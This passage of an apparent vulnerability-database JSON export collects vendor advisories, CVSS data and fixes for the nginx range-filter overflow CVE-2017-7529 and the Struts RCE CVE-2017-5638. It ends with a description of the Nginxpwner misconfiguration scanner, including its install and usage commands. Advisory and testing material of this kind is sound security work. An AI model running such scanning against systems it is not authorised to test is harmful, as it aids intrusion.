"AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-30T15:58:51", "id": "MGASA-2017-0231", "href": "https://advisories.mageia.org/MGASA-2017-0231.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "debian": [{"lastseen": "2021-12-06T16:19:16", "description": "Package : nginx\nVersion : 1.2.1-2.2+wheezy4+deb7u1\nCVE ID : CVE-2017-7529\nDebian Bug : #868109\n\nIt was discovered that there was vulnerability in the range filter of nginx, a\nweb/proxy server. A specially crafted request might result in an integer\noverflow and incorrect processing of HTTP ranges, potentially resulting in a\nsensitive information leak.\n\nFor Debian 7 "Wheezy", this issue has been fixed in nginx version\n1.2.1-2.2+wheezy4+deb7u1.\n\nWe recommend that you upgrade your nginx packages.\n\n\nRegards,\n\n- -- \n ,''`.\n : :' : Chris Lamb\n `. `'` lamby@debian.org / chris-lamb.co.uk\n `-", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2017-07-13T08:21:10", "type": "debian", "title": "[SECURITY] [DLA 1024-1] nginx security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-13T08:21:10", "id": "DEBIAN:DLA-1024-1:36E15", "href": "https://lists.debian.org/debian-lts-announce/2017/07/msg00016.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-05-04T15:31:47", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3908-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nJuly 12, 2017 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : nginx\nCVE ID : CVE-2017-7529\n\nAn integer overflow has been found in the HTTP range module of Nginx, a\nhigh-performance web and reverse proxy server, which may result in\ninformation disclosure.\n\nFor the oldstable distribution (jessie), this problem has been fixed\nin version 1.6.2-5+deb8u5.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 1.10.3-1+deb9u1.\n\nFor the unstable distribution (sid), this problem will be fixed soon.\n\nWe recommend that you upgrade your nginx packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-12T21:25:54", "type": "debian", "title": "[SECURITY] [DSA 3908-1] nginx security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-12T21:25:54", "id": "DEBIAN:DSA-3908-1:43B42", "href": "https://lists.debian.org/debian-security-announce/2017/msg00169.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "amazon": [{"lastseen": "2023-06-05T17:23:32", "description": "**Issue Overview:**\n\nA flaw within the processing of ranged HTTP requests has been discovered in the range filter module of nginx. A remote attacker could possibly exploit this flaw to disclose parts of the cache file header, or, if used in combination with third party modules, disclose potentially sensitive memory by sending specially crafted HTTP requests. (CVE-2017-7529)\n\n \n**Affected Packages:** \n\n\nnginx\n\n \n**Issue Correction:** \nRun _yum update nginx_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 nginx-all-modules-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-mod-http-geoip-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-mod-mail-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-debuginfo-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-mod-http-xslt-filter-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-mod-http-perl-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-mod-stream-1.12.1-1.32.amzn1.i686 \n \u00a0\u00a0\u00a0 nginx-mod-http-image-filter-1.12.1-1.32.amzn1.i686 \n \n src: \n \u00a0\u00a0\u00a0 nginx-1.12.1-1.32.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 nginx-all-modules-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-mod-http-geoip-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-debuginfo-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-mod-mail-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-mod-stream-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-mod-http-xslt-filter-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-mod-http-image-filter-1.12.1-1.32.amzn1.x86_64 \n \u00a0\u00a0\u00a0 nginx-mod-http-perl-1.12.1-1.32.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2017-7529](<https://access.redhat.com/security/cve/CVE-2017-7529>)\n\nMitre: [CVE-2017-7529](<https://vulners.com/cve/CVE-2017-7529>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-09-13T23:19:00", "type": "amazon", "title": "Low: nginx", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-09-14T22:22:00", "id": "ALAS-2017-894", "href": "https://alas.aws.amazon.com/ALAS-2017-894.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "nginx": [{"lastseen": "2023-06-05T16:24:08", "description": "Integer overflow in the range filter\nSeverity: medium\nCVE-2017-7529\nNot vulnerable: 1.13.3+, 1.12.1+\nVulnerable: 0.5.6-1.13.2", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-13T13:29:00", "type": "nginx", "title": "Integer overflow in the range filter", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-13T13:29:00", "id": "NGINX:CVE-2017-7529", "href": "http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "debiancve": [{"lastseen": "2023-06-05T18:16:03", "description": "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-13T13:29:00", "type": "debiancve", "title": "CVE-2017-7529", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-13T13:29:00", "id": "DEBIANCVE:CVE-2017-7529", "href": "https://security-tracker.debian.org/tracker/CVE-2017-7529", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:34:04", "description": "An integer overflow vulnerability exists in Nginx. The vulnerability is due to insufficient validation of requested byte ranges.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-08-10T00:00:00", "type": "checkpoint_advisories", "title": "Nginx ngx_http_range_filter_module Integer Overflow (CVE-2017-7529)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-09-18T00:00:00", "id": "CPAI-2017-0681", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-10-04T10:32:49", "description": "A remote code execution vulnerability exists in Apache Struts2. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts2 Content-Type Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-09-28T00:00:00", "id": "CPAI-2017-0197", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-17T11:33:37", "description": "A remote code execution vulnerability exists in the Apache Struts2 using Jakarta multipart parser. An attacker could exploit this vulnerability by sending an invalid content-disposition as part of a file upload request. Successful exploitation could result in execution of arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-08-09T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts 2 Content-Disposition Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-08-29T00:00:00", "id": "CPAI-2017-0676", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "redhatcve": [{"lastseen": "2022-01-21T00:02:51", "description": "A flaw within the processing of ranged HTTP requests has been discovered in the range filter module of nginx. A remote attacker could possibly exploit this flaw to disclose parts of the cache file header, or, if used in combination with third party modules, disclose potentially sensitive memory by sending specially crafted HTTP requests.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-12T05:50:49", "type": "redhatcve", "title": "CVE-2017-7529", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2022-01-20T22:41:39", "id": "RH:CVE-2017-7529", "href": "https://access.redhat.com/security/cve/cve-2017-7529", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-09-02T22:50:55", "description": "A flaw was reported in Apache Struts 2 that could allow an attacker to perform remote code execution with a malicious Content-Type value.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-08T11:53:37", "type": "redhatcve", "title": "CVE-2017-5638", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2020-08-18T15:11:09", "id": "RH:CVE-2017-5638", "href": "https://access.redhat.com/security/cve/cve-2017-5638", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ubuntu": [{"lastseen": "2023-06-05T15:38:31", "description": "## Releases\n\n * Ubuntu 17.04 \n * Ubuntu 16.10 \n * Ubuntu 16.04 ESM\n * Ubuntu 14.04 ESM\n\n## Packages\n\n * nginx \\- small, powerful, scalable web/proxy server\n\nIt was discovered that an integer overflow existed in the range filter \nfeature of nginx. A remote attacker could use this to expose \nsensitive information.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-13T00:00:00", "type": "ubuntu", "title": "nginx vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-13T00:00:00", "id": "USN-3352-1", "href": "https://ubuntu.com/security/notices/USN-3352-1", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "ubuntucve": [{"lastseen": "2023-06-28T14:24:46", "description": "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to\ninteger overflow vulnerability in nginx range filter module resulting into\nleak of potentially sensitive information triggered by specially crafted\nrequest.\n\n#### Bugs\n\n * <https://bugs.launchpad.net/ubuntu/+source/nginx/+bug/1704151>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[sbeattie](<https://launchpad.net/~sbeattie>) | from the nginx announcement, the following configuration can be used as a temporary workaround: max_ranges 1;\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-11T00:00:00", "type": "ubuntucve", "title": "CVE-2017-7529", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-11T00:00:00", "id": "UB:CVE-2017-7529", "href": "https://ubuntu.com/security/CVE-2017-7529", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-24T14:58:52", "description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and\n2.5.x before 2.5.10.1 has incorrect exception handling and error-message\ngeneration during file-upload attempts, which allows remote attackers to\nexecute arbitrary commands via a crafted Content-Type, Content-Disposition,\nor Content-Length HTTP header, as exploited in the wild in March 2017 with\na Content-Type header containing a #cmd= string.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[seth-arnold](<https://launchpad.net/~seth-arnold>) | \"Affected Software Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-11T00:00:00", "type": "ubuntucve", "title": "CVE-2017-5638", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-11T00:00:00", "id": "UB:CVE-2017-5638", "href": "https://ubuntu.com/security/CVE-2017-5638", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-06T13:53:04", "description": "The web server Tengine 2.2.2 developed in the Nginx version from 0.5.6 thru\n1.13.2 is vulnerable to an integer overflow vulnerability in the nginx\nrange filter module, resulting in the leakage of potentially sensitive\ninformation triggered by specially crafted requests.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | This CVE only applies to the Tengine web server, which is a fork of nginx. The original nginx CVE was CVE-2017-7529.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2023-08-22T00:00:00", "type": "ubuntucve", "title": "CVE-2020-21699", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529", "CVE-2020-21699"], "modified": "2023-08-22T00:00:00", "id": "UB:CVE-2020-21699", "href": "https://ubuntu.com/security/CVE-2020-21699", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "kitploit": [{"lastseen": "2023-06-05T16:27:21", "description": "[](<https://1.bp.blogspot.com/-Dttz0B-9i6E/YIxZwJFPPBI/AAAAAAAAWCQ/B1twiYSSfHYygiShhLZqejH7f8nB1Nr5ACNcBGAsYHQ/s1029/nginxpwner_1.png>)\n\n \n\n\nNginxpwner is a simple tool to look for common Nginx [misconfigurations](<https://www.kitploit.com/search/label/Misconfigurations> \"misconfigurations\" ) and vulnerabilities.\n\n \n\n\n**Install:** \n\n \n \n cd /opt \n git clone https://github.com/stark0de/nginxpwner \n cd nginxpwner \n chmod +x install.sh \n ./install.sh \n \n\n \n**Usage:** \n\n \n \n Target tab in Burp, select host, right click, copy all URLs in this host, copy to a file \n \n cat urllist | unfurl paths | cut -d\"/\" -f2-3 | sort -u > /tmp/pathlist \n \n Or get the list of paths you already discovered in the application in some other way. Note: the paths should not start with / \n \n Finally: \n \n python3 nginxpwner.py https://example.com /tmp/pathlist \n \n\n \n**Notes:** \n\n\nIt actually checks for:\n\n-Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated\n\n-Throws a wordlist specific to Nginx via gobuster\n\n-Checks if it is vulnerable to CRLF via a common [misconfiguration](<https://www.kitploit.com/search/label/Misconfiguration> \"misconfiguration\" ) of using $uri in redirects\n\n-Checks for CRLF in all of the paths provided\n\n-Checks if the PURGE HTTP method is available from the outside\n\n-Checks for variable leakage misconfiguration\n\n-Checks for [path traversal](<https://www.kitploit.com/search/label/Path%20Traversal> \"path traversal\" ) [vulnerabilities](<https://www.kitploit.com/search/label/vulnerabilities> \"vulnerabilities\" ) via merge_slashes set to off\n\n-Tests for differences in the length of requests when using hop-by-hop headers (ex: X-Forwarded-Host)\n\n-Uses Kyubi to test for path traversal vulnerabilities via misconfigured alias\n\n-Tests for 401/403 bypass using X-Accel-Redirect\n\n-Shows the payload to check for Raw backend reading response misconfiguration\n\n-Checks if the site uses PHP and suggests some nginx-specific tests for PHP sites\n\n-Tests for the common integer overflow [vulnerability](<https://www.kitploit.com/search/label/Vulnerability> \"vulnerability\" ) in Nginx's range filter module (CVE-2017-7529)\n\nThe tool uses the Server header in the response to do some of the tests. There are other CMS and so which are built on Nginx like Centminmod, OpenResty, Pantheon or Tengine for example which don't return that header. In that case please use nginx-pwner-no-server-header.py with the same parameters than the other script\n\nAlso, for the exploit search to run correctly you should do: searchsploit -u in Kali from time to time\n\nThe tool does not check for web cache poisoning/deception vulnerabilities nor request smuggling, you should test that with specific tools for those vulnerabilities. NginxPwner is mainly focused in misconfigurations developers may have introduced in the nginx.conf without being aware of them.\n\nCredit to shibli2700 for his awesome tool Kyubi <https://github.com/shibli2700/Kyubi> and to all the contributors of gobuster. Credits also to Detectify (which actually discovered many of this misconfigurations in NGINX)\n\n \n \n\n\n**[Download Nginxpwner](<https://github.com/stark0de/nginxpwner> \"Download Nginxpwner\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 